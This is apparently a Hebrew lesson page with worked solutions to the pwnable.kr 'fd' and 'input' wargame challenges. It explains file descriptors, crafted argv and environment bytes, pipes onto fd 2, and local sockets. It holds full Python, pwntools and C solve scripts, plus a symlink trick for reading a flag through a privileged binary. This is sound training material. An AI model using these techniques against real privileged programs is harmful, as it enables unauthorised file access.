לדלג לתוכן

1.1 תיאורי קבצים וארגומנטים פתרון

פתרון - תיאורי קבצים וארגומנטים

כאן נעבור על הפתרונות המלאים של fd ו-input. הרעיון הוא לא רק להגיע לדגל, אלא להבין למה כל צעד עובד, כדי שתוכלו להכליל את הטכניקה לאתגרים הבאים.


פתרון תרגיל 1 - האתגר fd

מתחברים וקוראים את המקור:

ssh fd@pwnable.kr -p2222        # password: guest
cat fd.c

הקוד הרלוונטי:

char buf[32];
int main(int argc, char* argv[], char* envp[]){
    if(argc<2){ printf("pass argv[1] a number\n"); return 0; }
    int fd = atoi( argv[1] ) - 0x1234;
    int len = read(fd, buf, 32);
    if(!strcmp("LETMEWIN\n", buf)){
        printf("good job :)\n");
        system("/bin/cat flag");
        exit(0);
    }
    printf("learn about Linux file IO\n");
    return 0;
}

הניתוח:

  1. התוכנית קוראת מ-fd שערכו atoi(argv[1]) - 0x1234.
  2. אנחנו רוצים ש-read יקרא מ-stdin, שהוא fd מספר 0, כי לתוך stdin אנחנו יכולים להזין כל דבר.
  3. צריך אם כן atoi(argv[1]) - 0x1234 == 0, כלומר atoi(argv[1]) == 0x1234.
  4. הערך 0x1234 בעשרוני הוא 1*4096 + 2*256 + 3*16 + 4 = 4660.
  5. ההשוואה היא מול "LETMEWIN\n" - שימו לב לירידת השורה. כשמקלידים LETMEWIN ולוחצים Enter, ה-Enter מוסיף \n, ולכן ה-buf מכיל בדיוק LETMEWIN\n.

הפתרון האינטראקטיבי:

./fd 4660
LETMEWIN

פלט:

good job :)
<flag content>

אפשר גם דרך pipe. שימו לב ש-echo מוסיף \n בעצמו, כך שזה תואם ל-"LETMEWIN\n":

echo LETMEWIN | ./fd 4660

ולמי שרוצה לתרגל pwntools, אותו דבר אבל דרך מנהרת SSH מהמחשב שלכם:

from pwn import *

s = ssh(user='fd', host='pwnable.kr', port=2222, password='guest')
p = s.process(['./fd', '4660'])    # runs in the home directory, where flag is located
p.sendline(b'LETMEWIN')            # sendline adds \n itself
p.recvuntil(b'good job')
print(p.recvall().decode())

למה זה עבד: כל הרעיון הוא שערך שנשלט על ידינו (argv[1]) הפך לתיאור קובץ. ברגע שגרמנו ל-fd להיות 0, ה-read קרא מ-stdin ואנחנו סיפקנו את המחרוזת המבוקשת. איך להכליל: בכל פעם שערך שנשלט על ידי המשתמש הופך ל-fd, אינדקס, גודל או אופסט - בדקו את ערכי הקצה. כאן 0 היה ערך הקצה שנתן לנו שליטה. במקרים אחרים זה יכול להיות ערך שלילי, אפס, או ערך גדול שגורם לoverflow.


פתרון תרגיל 2 - האתגר input

מתחברים וקוראים את המקור. החלקים הרלוונטיים של input.c (השמות argv['A'] וכו' פירושם אינדקס לפי קוד ASCII: 'A' הוא 65, 'B' הוא 66, 'C' הוא 67):

// Stage 1 - argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;              // argv[65] empty string
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;      // argv[66] = space, \n, \r
printf("Stage 1 clear!\n");

// Stage 2 - stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;    // fd 0
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;    // fd 2
printf("Stage 2 clear!\n");

// Stage 3 - env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");

// Stage 4 - file
FILE* fp = fopen("\x0a", "r");                       // file named newline
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
printf("Stage 4 clear!\n");

// Stage 5 - network
// ... socket/bind/listen/accept on port atoi(argv['C']) ...
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");

system("/bin/cat flag\n");

בואו נפרק שלב-שלב את מה שצריך לספק:

Stage 1  argv    argc==100 ; argv[65]="" ; argv[66]=" \n\r" ; argv[67]=port string
Stage 2  stdin   fd0 = 00 0a 00 ff        ; fd2 = 00 0a 02 ff
Stage 3  env     getenv("\xde\xad\xbe\xef") == "\xca\xfe\xba\xbe"
Stage 4  file    file named "\x0a" contains 00 00 00 00
Stage 5  net     connect to port argv[67] and send de ad be ef

שימו לב לשלוש הבעיות שאי אפשר לפתור עם shell רגיל: argv[65] צריך להיות מחרוזת ריקה, argv[66] מכיל רווח ותווי בקרה, ושם משתנה הסביבה וערכו מכילים בתים גבוהים. לכן נבנה את argv ו-env בעצמנו. בנוסף, נצטרך לגרום לתוכנית לקרוא מ-fd 2 בדיוק את הבתים שלנו - וזה בדיוק ה-pipe שראינו בהרצאה.

הכנת סביבת ההרצה

הבינארי מריץ system("/bin/cat flag"), כלומר קורא flag מתיקיית העבודה בהרשאות המוגברות שלו. אנחנו חייבים להריץ מתיקייה שאפשר לכתוב אליה (בתיקיית הבית של האתגר אין לנו הרשאת כתיבה, וצריך ליצור שם את הקובץ ששמו ירידת-שורה). הפתרון הקלאסי: עובדים בתת-תיקייה ב-/tmp, ומניחים שם קישור סמלי בשם flag שמצביע לדגל האמיתי. כשהבינארי המורשה יריץ cat flag, הוא יעקוב אחרי הקישור ויקרא את הדגל האמיתי בהרשאות שלו:

mkdir -p /tmp/inp_$USER && cd /tmp/inp_$USER
chmod 777 .
ln -sf /home/input2/flag flag       # cat flag in the working directory will read the real flag

הפתרון בפייתון

הסקריפט הבא בונה את חמשת הערוצים. הוא משתמש ב-os.fork/os.dup2/os.execve כדי לשלוט בדיוק ב-fd 0 וב-fd 2 של התהליך-הבן, בדיוק כמו שראינו בהרצאה. הריצו אותו מתוך /tmp/inp_$USER:

#!/usr/bin/env python3
import os, socket, time

BIN  = b'/home/input2/input'
PORT = 31337

# Stage 4: create a file named newline, with four zero bytes
with open('\x0a', 'wb') as f:
    f.write(b'\x00\x00\x00\x00')

# Stage 1: argv of exactly length 100
argv = [b'input'] * 100
argv[ord('A')] = b''                 # argv[65] = empty string
argv[ord('B')] = b'\x20\x0a\x0d'     # argv[66] = space, \n, \r
argv[ord('C')] = str(PORT).encode()  # argv[67] = the port to listen on

# Stage 3: environment variable with high bytes
env = {b'\xde\xad\xbe\xef': b'\xca\xfe\xba\xbe'}

# pipes: we will write, and the child will read from fd0 and fd2
in_r,  in_w  = os.pipe()
err_r, err_w = os.pipe()

pid = os.fork()
if pid == 0:
    # child process: set up the fd table then exec
    os.dup2(in_r, 0)                 # the child's fd0 = read end of the input pipe
    os.dup2(err_r, 2)                # the child's fd2 = read end of the error pipe
    os.execve(BIN, argv, env)
    os._exit(1)

# parent process
os.write(in_w,  b'\x00\x0a\x00\xff') # Stage 2 - fd0
os.write(err_w, b'\x00\x0a\x02\xff') # Stage 2 - fd2

time.sleep(1)                        # wait for the program to bind/listen
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', PORT))       # Stage 5 - connect to the port the program is listening on
s.send(b'\xde\xad\xbe\xef')

os.waitpid(pid, 0)

הפלט הצפוי:

Stage 1 clear!
Stage 2 clear!
Stage 3 clear!
Stage 4 clear!
Stage 5 clear!
<flag content>

וריאציה עם pwntools

אם pwntools מותקן, אפשר לקצר. הטריק של fd 2 עדיין דורש pipe ידני, כי אנחנו מחברים את קצה הקריאה שלו ל-fd 2 של הבן:

from pwn import *
import os, time

PORT = 31337
argv = [b'input'] * 100
argv[ord('A')] = b''
argv[ord('B')] = b'\x20\x0a\x0d'
argv[ord('C')] = str(PORT).encode()
env = {b'\xde\xad\xbe\xef': b'\xca\xfe\xba\xbe'}

open('\x0a', 'wb').write(b'\x00\x00\x00\x00')

err_r, err_w = os.pipe()                 # the program reads from fd2 -> give it the read end
p = process(executable='/home/input2/input', argv=argv, env=env, stderr=err_r)

p.send(b'\x00\x0a\x00\xff')              # Stage 2 - fd0
os.write(err_w, b'\x00\x0a\x02\xff')     # Stage 2 - fd2

time.sleep(1)
c = remote('127.0.0.1', PORT)            # Stage 5
c.send(b'\xde\xad\xbe\xef')

print(p.recvall().decode())

וריאציה ב-C (אם אין פייתון על השרת)

השרתים של pwnable.kr לא תמיד מגיעים עם הכלים שאתם רוצים. הנה גרסת C שקולה שמתקמפלת עם gcc מקומי ונותנת שליטה מדויקת בבתים. שמרו כ-solve.c, קמפלו עם gcc solve.c -o solve והריצו מתוך תיקיית העבודה:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main() {
    int port = 31337;

    // Stage 4: file named newline
    int f = open("\x0a", O_CREAT | O_WRONLY | O_TRUNC, 0644);
    write(f, "\x00\x00\x00\x00", 4);
    close(f);

    // pipes for fd0 and fd2
    int in[2], er[2];
    pipe(in); pipe(er);

    pid_t pid = fork();
    if (pid == 0) {
        dup2(in[0], 0);
        dup2(er[0], 2);

        char *argv[101];
        for (int i = 0; i < 100; i++) argv[i] = "input";
        argv['A'] = "";                 // argv[65] empty string
        argv['B'] = "\x20\x0a\x0d";      // argv[66]
        char pbuf[16]; sprintf(pbuf, "%d", port);
        argv['C'] = pbuf;               // argv[67] the port
        argv[100] = NULL;

        char *envp[] = { "\xde\xad\xbe\xef=\xca\xfe\xba\xbe", NULL };
        execve("/home/input2/input", argv, envp);
        _exit(1);
    }

    write(in[1], "\x00\x0a\x00\xff", 4);   // Stage 2 - fd0
    write(er[1], "\x00\x0a\x02\xff", 4);   // Stage 2 - fd2

    sleep(1);
    int s = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in a = {0};
    a.sin_family = AF_INET;
    a.sin_port = htons(port);
    a.sin_addr.s_addr = inet_addr("127.0.0.1");
    connect(s, (struct sockaddr*)&a, sizeof(a));   // Stage 5
    write(s, "\xde\xad\xbe\xef", 4);

    wait(NULL);
    return 0;
}

הערה על הבתים במחרוזת הסביבה של C: כל \x צורך רק את ספרות ההקס שאחריו עד לתו הבא שאינו הקס. מכיוון שכל בית מופרד ב-\x משלו, הבתים יוצאים מדויקים: de ad be ef 3d(=) ca fe ba be.

למה זה עבד: כל שלב הוא ערוץ קלט אחר, וכולם בסופו של דבר תיאורי קבצים. את הערוצים שה-shell לא נותן לשלוט בהם (argv עם null/רווח, env עם בתים גבוהים) בנינו ידנית עם execve. את fd 2, שהוא בדרך כלל פלט, הפכנו לקלט על ידי חיבור קצה הקריאה של pipe אליו לפני ה-exec. את הדגל קראנו דרך הבינארי המורשה בעזרת קישור סמלי בתיקיית העבודה.

איך להכליל: כשאתם רואים אתגר שבודק כמה תנאים בו-זמנית, פרקו אותו לרשימה של "מאיזה ערוץ, לאיזה יעד, איזה ערך בדיוק", בנו שלב-שלב, ואמתו כל שלב לפי ההודעות שהתוכנית מדפיסה לפני שתוסיפו את הבא. וכשבינארי מורשה מריץ cat flag בתיקיית העבודה - קישור סמלי הוא כמעט תמיד התשובה.


פתרון תרגיל 3 - הכירו את הכלים שלכם

מקמפלים ומריצים את בינארי האבחון עם argv מבוקר:

from pwn import *

argv = [b'./diag', b'has space', b'', b'\x41\x42']
p = process(argv=argv)
print(p.recvall().decode())

פלט לדוגמה:

argc = 4
argv[0] (len=6): 2e 2f 64 69 61 67
argv[1] (len=9): 68 61 73 20 73 70 61 63 65
argv[2] (len=0):
argv[3] (len=2): 41 42

שימו לב: argv[1] שמר על הרווח (בית 20) בתוך ארגומנט אחד, ו-argv[2] הוא מחרוזת ריקה באורך 0. נסו לעשות את אותו דבר דרך shell (./diag "has space" "" AB) ותראו שהרווח מחייב מרכאות, ושמחרוזת ריקה מ-shell מבלבלת בקלות. זו בדיוק הסיבה שבאתגר input השתמשנו ב-process(argv=[...]) ולא ב-shell: רק כך יש שליטה מדויקת בכל בית של כל ארגומנט.